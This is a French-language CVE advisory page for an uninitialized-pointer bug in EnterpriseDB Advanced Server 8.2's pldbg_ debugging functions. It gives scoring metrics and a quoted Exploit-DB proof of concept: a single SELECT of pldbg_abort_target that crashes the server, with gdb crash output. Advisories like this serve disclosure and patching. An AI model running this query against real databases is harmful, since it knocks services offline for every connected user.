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Descriptions du CVE
EnterpriseDB Advanced Server 8.2 does not properly handle certain debugging function calls that occur before a call to pldbg_create_listener, which allows remote authenticated users to cause a denial of service (daemon crash) and possibly execute arbitrary code via a SELECT statement that invokes a pldbg_ function, as demonstrated by (1) pldbg_get_stack and (2) pldbg_abort_target, which triggers use of an uninitialized pointer.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Access of Uninitialized Pointer The product accesses or uses a pointer that has not been initialized. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 6.5 | AV:N/AC:L/Au:S/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 30542
Date de publication : 2007-08-28 22h00 +00:00
Auteur : Joxean Koret
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/25481/info
EnterpriseDB Advanced Server is prone to an uninitialized-pointer vulnerability.
Authenticated attackers can exploit this issue to cause denial-of-service conditions. Given the nature of this vulnerability, remote code execution may also be possible, but this has not been confirmed.
EnterpriseDB Advanced Server 8.2 is vulnerable; other versions may also be affected.
1) Connect to one vulnerable EnterpriseDB as a low level user (the
execution privilege over the pldbg_* function is granted by default).
2) Execute the following query:
edb=> select pldbg_abort_target(1094861636); -- 0x41424344 in decimal
(gdb) where
#0 0x00ba81db in sendBytes ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#1 0x00ba82a1 in sendUInt32 ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#2 0x00ba82e3 in sendString ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#3 0x00ba8880 in pldbg_abort_target ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#4 0x0816669d in ExecMakeFunctionResult ()
#5 0x08168d51 in ExecProject ()
#6 0x0817544d in ExecResult ()
#7 0x08162f65 in ExecProcNode ()
#8 0x08161931 in ExecutorRun ()
#9 0x081fa2e3 in PortalRunSelect ()
#10 0x081fb12a in PortalRun ()
#11 0x081f5a8b in exec_simple_query ()
#12 0x081f76ec in PostgresMain ()
#13 0x081ca356 in ServerLoop ()
#14 0x081cb2b7 in PostmasterMain ()
#15 0x081865d7 in main ()
(gdb) x /i $pc
0xba81db <sendBytes+11>: mov (%eax),%eax
(gdb) i r
eax 0x41424344 1094861636
ecx 0x4 4
edx 0xbff46c04 -1074500604
ebx 0xbacbd8 12241880
esp 0xbff46bc0 0xbff46bc0
ebp 0xbff46be8 0xbff46be8
esi 0x4 4
edi 0xbab597 12236183
eip 0xba81db 0xba81db
eflags 0x10286 66182
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
The complete database server (droping all active conections) crashes.
Products Mentioned
Configuraton 0
Enterprisedb>>Postgres_advanced_server >> Version 8.2
- Enterprisedb>>Postgres_advanced_server >> Version 8.2 (Open CPE detail)
Références
http://www.securityfocus.com/archive/1/478057/100/0/threaded
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